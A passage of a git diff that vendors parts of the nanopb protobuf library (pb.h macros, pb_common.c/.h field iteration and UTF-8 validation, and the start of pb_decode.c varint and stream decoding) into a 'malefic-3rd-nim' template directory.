((uint32_t)(value) < ((uint32_t)1<2GB messages with nanopb anyway. + */ +#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag) + +#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag) +#endif + + +/* Automatic picking of FIELDINFO width: + * Uses width 1 when possible, otherwise resorts to width 2. + * This is used when PB_BIND() is called with "AUTO" as the argument. + * The generator will give explicit size argument when it knows that a message + * structure grows beyond 1-word format limits. + */ +#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype) +#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2 +#define PB_FI_WIDTH_PB_LTYPE_BOOL 1 +#define PB_FI_WIDTH_PB_LTYPE_BYTES 2 +#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1 +#define PB_FI_WIDTH_PB_LTYPE_ENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_UENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1 +#define PB_FI_WIDTH_PB_LTYPE_INT32 1 +#define PB_FI_WIDTH_PB_LTYPE_INT64 1 +#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2 +#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_STRING 2 +#define PB_FI_WIDTH_PB_LTYPE_UINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_UINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2 + +/* The mapping from protobuf types to LTYPEs is done using these macros. */ +#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL +#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES +#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT +#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE +#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB +#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING +#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION +#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES + +/* These macros are used for giving out error messages. + * They are mostly a debugging aid; the main error information + * is the true/false return value from functions. + * Some code space can be saved by disabling the error + * messages if not used. + * + * PB_SET_ERROR() sets the error message if none has been set yet. + * msg must be a constant string literal. + * PB_GET_ERROR() always returns a pointer to a string. + * PB_RETURN_ERROR() sets the error and returns false from current + * function. + */ +#ifdef PB_NO_ERRMSG +#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream) +#define PB_GET_ERROR(stream) "(errmsg disabled)" +#else +#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg)) +#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)") +#endif + +#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#ifdef __cplusplus +#if __cplusplus >= 201103L +#define PB_CONSTEXPR constexpr +#else // __cplusplus >= 201103L +#define PB_CONSTEXPR +#endif // __cplusplus >= 201103L + +#if __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR inline constexpr +#else // __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR PB_CONSTEXPR +#endif // __cplusplus >= 201703L + +extern "C++" +{ +namespace nanopb { +// Each type will be partially specialized by the generator. +template struct MessageDescriptor; +} // namespace nanopb +} +#endif /* __cplusplus */ + +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c new file mode 100644 index 0000000..6aee76b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c @@ -0,0 +1,388 @@ +/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c. + * + * 2014 Petteri Aimonen + */ + +#include "pb_common.h" + +static bool load_descriptor_values(pb_field_iter_t *iter) +{ + uint32_t word0; + uint32_t data_offset; + int_least8_t size_offset; + + if (iter->index >= iter->descriptor->field_count) + return false; + + word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + iter->type = (pb_type_t)((word0 >> 8) & 0xFF); + + switch(word0 & 3) + { + case 0: { + /* 1-word format */ + iter->array_size = 1; + iter->tag = (pb_size_t)((word0 >> 2) & 0x3F); + size_offset = (int_least8_t)((word0 >> 24) & 0x0F); + data_offset = (word0 >> 16) & 0xFF; + iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F); + break; + } + + case 1: { + /* 2-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + + iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6)); + size_offset = (int_least8_t)((word0 >> 28) & 0x0F); + data_offset = word1 & 0xFFFF; + iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF); + break; + } + + case 2: { + /* 4-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + + iter->array_size = (pb_size_t)(word0 >> 16); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + + default: { + /* 8-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]); + + iter->array_size = (pb_size_t)word4; + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + } + + if (!iter->message) + { + /* Avoid doing arithmetic on null pointers, it is undefined */ + iter->pField = NULL; + iter->pSize = NULL; + } + else + { + iter->pField = (char*)iter->message + data_offset; + + if (size_offset) + { + iter->pSize = (char*)iter->pField - size_offset; + } + else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED && + (PB_ATYPE(iter->type) == PB_ATYPE_STATIC || + PB_ATYPE(iter->type) == PB_ATYPE_POINTER)) + { + /* Fixed count array */ + iter->pSize = &iter->array_size; + } + else + { + iter->pSize = NULL; + } + + if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL) + { + iter->pData = *(void**)iter->pField; + } + else + { + iter->pData = iter->pField; + } + } + + if (PB_LTYPE_IS_SUBMSG(iter->type)) + { + iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index]; + } + else + { + iter->submsg_desc = NULL; + } + + return true; +} + +static void advance_iterator(pb_field_iter_t *iter) +{ + iter->index++; + + if (iter->index >= iter->descriptor->field_count) + { + /* Restart */ + iter->index = 0; + iter->field_info_index = 0; + iter->submessage_index = 0; + iter->required_field_index = 0; + } + else + { + /* Increment indexes based on previous field type. + * All field info formats have the following fields: + * - lowest 2 bits tell the amount of words in the descriptor (2^n words) + * - bits 2..7 give the lowest bits of tag number. + * - bits 8..15 give the field type. + */ + uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF; + pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3)); + + /* Add to fields. + * The cast to pb_size_t is needed to avoid -Wconversion warning. + * Because the data is is constants from generator, there is no danger of overflow. + */ + iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len); + iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED)); + iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type)); + } +} + +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message) +{ + memset(iter, 0, sizeof(*iter)); + + iter->descriptor = desc; + iter->message = message; + + return load_descriptor_values(iter); +} + +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension) +{ + const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg; + bool status; + + uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]); + if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER) + { + /* For pointer extensions, the pointer is stored directly + * in the extension structure. This avoids having an extra + * indirection. */ + status = pb_field_iter_begin(iter, msg, &extension->dest); + } + else + { + status = pb_field_iter_begin(iter, msg, extension->dest); + } + + iter->pSize = &extension->found; + return status; +} + +bool pb_field_iter_next(pb_field_iter_t *iter) +{ + advance_iterator(iter); + (void)load_descriptor_values(iter); + return iter->index != 0; +} + +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag) +{ + if (iter->tag == tag) + { + return true; /* Nothing to do, correct field already. */ + } + else if (tag > iter->descriptor->largest_tag) + { + return false; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + if (tag < iter->tag) + { + /* Fields are in tag number order, so we know that tag is between + * 0 and our start position. Setting index to end forces + * advance_iterator() call below to restart from beginning. */ + iter->index = iter->descriptor->field_count; + } + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for tag number match */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F)) + { + /* Good candidate, check further */ + (void)load_descriptor_values(iter); + + if (iter->tag == tag && + PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION) + { + /* Found it */ + return true; + } + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +bool pb_field_iter_find_extension(pb_field_iter_t *iter) +{ + if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION) + { + return true; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for field type */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION) + { + return load_descriptor_values(iter); + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +static void *pb_const_cast(const void *p) +{ + /* Note: this casts away const, in order to use the common field iterator + * logic for both encoding and decoding. The cast is done using union + * to avoid spurious compiler warnings. */ + union { + void *p1; + const void *p2; + } t; + t.p2 = p; + return t.p1; +} + +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message) +{ + return pb_field_iter_begin(iter, desc, pb_const_cast(message)); +} + +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension) +{ + return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension)); +} + +bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field) +{ + if (field->data_size == sizeof(pb_callback_t)) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + + if (pCallback != NULL) + { + if (istream != NULL && pCallback->funcs.decode != NULL) + { + return pCallback->funcs.decode(istream, field, &pCallback->arg); + } + + if (ostream != NULL && pCallback->funcs.encode != NULL) + { + return pCallback->funcs.encode(ostream, field, &pCallback->arg); + } + } + } + + return true; /* Success, but didn't do anything */ + +} + +#ifdef PB_VALIDATE_UTF8 + +/* This function checks whether a string is valid UTF-8 text. + * + * Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c + * Original copyright: Markus Kuhn 2005-03-30 + * Licensed under "Short code license", which allows use under MIT license or + * any compatible with it. + */ + +bool pb_validate_utf8(const char *str) +{ + const pb_byte_t *s = (const pb_byte_t*)str; + while (*s) + { + if (*s < 0x80) + { + /* 0xxxxxxx */ + s++; + } + else if ((s[0] & 0xe0) == 0xc0) + { + /* 110XXXXx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[0] & 0xfe) == 0xc0) /* overlong? */ + return false; + else + s += 2; + } + else if ((s[0] & 0xf0) == 0xe0) + { + /* 1110XXXX 10Xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */ + (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */ + (s[0] == 0xef && s[1] == 0xbf && + (s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */ + return false; + else + s += 3; + } + else if ((s[0] & 0xf8) == 0xf0) + { + /* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[3] & 0xc0) != 0x80 || + (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */ + (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */ + return false; + else + s += 4; + } + else + { + return false; + } + } + + return true; +} + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h new file mode 100644 index 0000000..58aa90f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h @@ -0,0 +1,49 @@ +/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c. + * These functions are rarely needed by applications directly. + */ + +#ifndef PB_COMMON_H_INCLUDED +#define PB_COMMON_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initialize the field iterator structure to beginning. + * Returns false if the message type is empty. */ +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message); + +/* Get a field iterator for extension field. */ +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension); + +/* Same as pb_field_iter_begin(), but for const message pointer. + * Note that the pointers in pb_field_iter_t will be non-const but shouldn't + * be written to when using these functions. */ +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message); +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension); + +/* Advance the iterator to the next field. + * Returns false when the iterator wraps back to the first field. */ +bool pb_field_iter_next(pb_field_iter_t *iter); + +/* Advance the iterator until it points at a field with the given tag. + * Returns false if no such field exists. */ +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag); + +/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found. + * There can be only one extension range field per message. */ +bool pb_field_iter_find_extension(pb_field_iter_t *iter); + +#ifdef PB_VALIDATE_UTF8 +/* Validate UTF-8 text string */ +bool pb_validate_utf8(const char *s); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c new file mode 100644 index 0000000..b3f96fc --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c @@ -0,0 +1,1728 @@ +/* pb_decode.c -- decode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +#include "pb.h" +#include "pb_decode.h" +#include "pb_common.h" + +/************************************** + * Declarations internal to this file * + **************************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof); +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size); +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn default_extension_decoder(pb_istream_t *stream, pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type); +static bool checkreturn decode_extension(pb_istream_t *stream, uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension); +static bool pb_field_set_to_default(pb_field_iter_t *field); +static bool pb_message_set_to_defaults(pb_field_iter_t *iter); +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_skip_varint(pb_istream_t *stream); +static bool checkreturn pb_skip_string(pb_istream_t *stream); + +#ifdef PB_ENABLE_MALLOC +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size); +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field); +static bool checkreturn pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field); +static void pb_release_single_field(pb_field_iter_t *field); +#endif + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +typedef struct { + uint32_t bitfield[(PB_MAX_REQUIRED_FIELDS + 31) / 32]; +} pb_fields_seen_t; + +/******************************* + * pb_istream_t implementation * + *******************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + const pb_byte_t *source = (const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + count; + + if (buf != NULL) + { + memcpy(buf, source, count * sizeof(pb_byte_t)); + } + + return true; +} + +bool checkreturn pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + if (count == 0) + return true; + +#ifndef PB_BUFFER_ONLY + if (buf == NULL && stream->callback != buf_read) + { + /* Skip input bytes */ + pb_byte_t tmp[16]; + while (count > 16) + { + if (!pb_read(stream, tmp, 16)) + return false; + + count -= 16; + } + + return pb_read(stream, tmp, count); + } +#endif + + if (stream->bytes_left < count) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!buf_read(stream, buf, count)) + return false; +#endif + + if (stream->bytes_left < count) + stream->bytes_left = 0; + else + stream->bytes_left -= count; + + return true; +} + +/* Read a single byte from input stream. buf may not be NULL. + * This is an optimization for the varint decoding. */ +static bool checkreturn pb_readbyte(pb_istream_t *stream, pb_byte_t *buf) +{ + if (stream->bytes_left == 0) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, 1)) + PB_RETURN_ERROR(stream, "io error"); +#else + *buf = *(const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + 1; +#endif + + stream->bytes_left--; + + return true; +} + +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen) +{ + pb_istream_t stream; + /* Cast away the const from buf without a compiler error. We are + * careful to use it only in a const manner in the callbacks. + */ + union { + void *state; + const void *c_state; + } state; +#ifdef PB_BUFFER_ONLY + stream.callback = NULL; +#else + stream.callback = &buf_read; +#endif + state.c_state = buf; + stream.state = state.state; + stream.bytes_left = msglen; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +/******************** + * Helper functions * + ********************/ + +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof) +{ + pb_byte_t byte; + uint32_t result; + + if (!pb_readbyte(stream, &byte)) + { + if (stream->bytes_left == 0) + { + if (eof) + { + *eof = true; + } + } + + return false; + } + + if ((byte & 0x80) == 0) + { + /* Quick case, 1 byte value */ + result = byte; + } + else + { + /* Multibyte case */ + uint_fast8_t bitpos = 7; + result = byte & 0x7F; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 32) + { + /* Note: The varint could have trailing 0x80 bytes, or 0xFF for negative. */ + pb_byte_t sign_extension = (bitpos < 63) ? 0xFF : 0x01; + bool valid_extension = ((byte & 0x7F) == 0x00 || + ((result >> 31) != 0 && byte == sign_extension)); + + if (bitpos >= 64 || !valid_extension) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + } + else if (bitpos == 28) + { + if ((byte & 0x70) != 0 && (byte & 0x78) != 0x78) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + result |= (uint32_t)(byte & 0x0F) << bitpos; + } + else + { + result |= (uint32_t)(byte & 0x7F) << bitpos; + } + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + } + + *dest = result; + return true; +} + +bool checkreturn pb_decode_varint32(pb_istream_t *stream, uint32_t *dest) +{ + return pb_decode_varint32_eof(stream, dest, NULL); +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_decode_varint(pb_istream_t *stream, uint64_t *dest) +{ + pb_byte_t byte; + uint_fast8_t bitpos = 0; + uint64_t result = 0; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 63 && (byte & 0xFE) != 0) + PB_RETURN_ERROR(stream, "varint overflow"); + + result |= (uint64_t)(byte & 0x7F) << bitpos; + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + + *dest = result; + return true; +} +#endif + +bool checkreturn pb_skip_varint(pb_istream_t *stream) +{ + pb_byte_t byte; + do + { + if (!pb_read(stream, &byte, 1)) + return false; + } while (byte & 0x80); + return true; +} + +bool checkreturn pb_skip_string(pb_istream_t *stream) +{ + uint32_t length; + if (!pb_decode_varint32(stream, &length)) + return false; + + if ((size_t)length != length) + { + PB_RETURN_ERROR(stream, "size too large"); + } + + return pb_read(stream, NULL, (size_t)length); +} + +bool checkreturn pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof) +{ + uint32_t temp; + *eof = false; + *wire_type = (pb_wire_type_t) 0; + *tag = 0; + + if (!pb_decode_varint32_eof(stream, &temp, eof)) + { + return false; + } + + *tag = temp >> 3; + *wire_type = (pb_wire_type_t)(temp & 7); + return true; +} + +bool checkreturn pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type) +{ + switch (wire_type) + { + case PB_WT_VARINT: return pb_skip_varint(stream); + case PB_WT_64BIT: return pb_read(stream, NULL, 8); + case PB_WT_STRING: return pb_skip_string(stream); + case PB_WT_32BIT: return pb_read(stream, NULL, 4); + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Read a raw value to buffer, for the purpose of passing it to callback as + * a substream. Size is maximum size on call, and actual size on return. + */ +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size) +{ + size_t max_size = *size; + switch (wire_type) + { + case PB_WT_VARINT: + *size = 0; + do + { + (*size)++; + if (*size > max_size) + PB_RETURN_ERROR(stream, "varint overflow"); + + if (!pb_read(stream, buf, 1)) + return false; + } while (*buf++ & 0x80); + return true; + + case PB_WT_64BIT: + *size = 8; + return pb_read(stream, buf, 8); + + case PB_WT_32BIT: + *size = 4; + return pb_read(stream, buf, 4); + + case PB_WT_STRING: + /* Calling read_raw_value with a PB_WT_STRING is an error. + * Explicitly handle this case and fallthrough to default to avoid + * compiler warnings. + */ + + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Decode string length from stream and return a substream with limited length. + * Remember to close the substream using pb_close_string_substream(). + */ +bool checkreturn pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + uint32_t size; + if (!pb_decode_varint32(stream, &size)) + return false; + + *substream = *stream; + if (substream->bytes_left < size) + PB_RETURN_ERROR(stream, "parent stream too short"); + + substream->bytes_left = (size_t)size; + stream->bytes_left -= (size_t)size; + return true; +} + +bool checkreturn pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + if (substream->bytes_left) { + if (!pb_read(substream, NULL, substream->bytes_left)) + return false; + } + + stream->state = substream->state; + +#ifndef PB_NO_ERRMSG + stream->errmsg = substream->errmsg; +#endif + return true; +} + +/************************* + * Decode a single field * + *************************/ + +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_varint(stream, field); + + case PB_LTYPE_FIXED32: + if (wire_type != PB_WT_32BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_decode_fixed32(stream, field->pData); + + case PB_LTYPE_FIXED64: + if (wire_type != PB_WT_64BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float)) + { + return pb_decode_double_as_float(stream, (float*)field->pData); + } +#endif + +#ifdef PB_WITHOUT_64BIT + PB_RETURN_ERROR(stream, "invalid data_size"); +#else + return pb_decode_fixed64(stream, field->pData); +#endif + + case 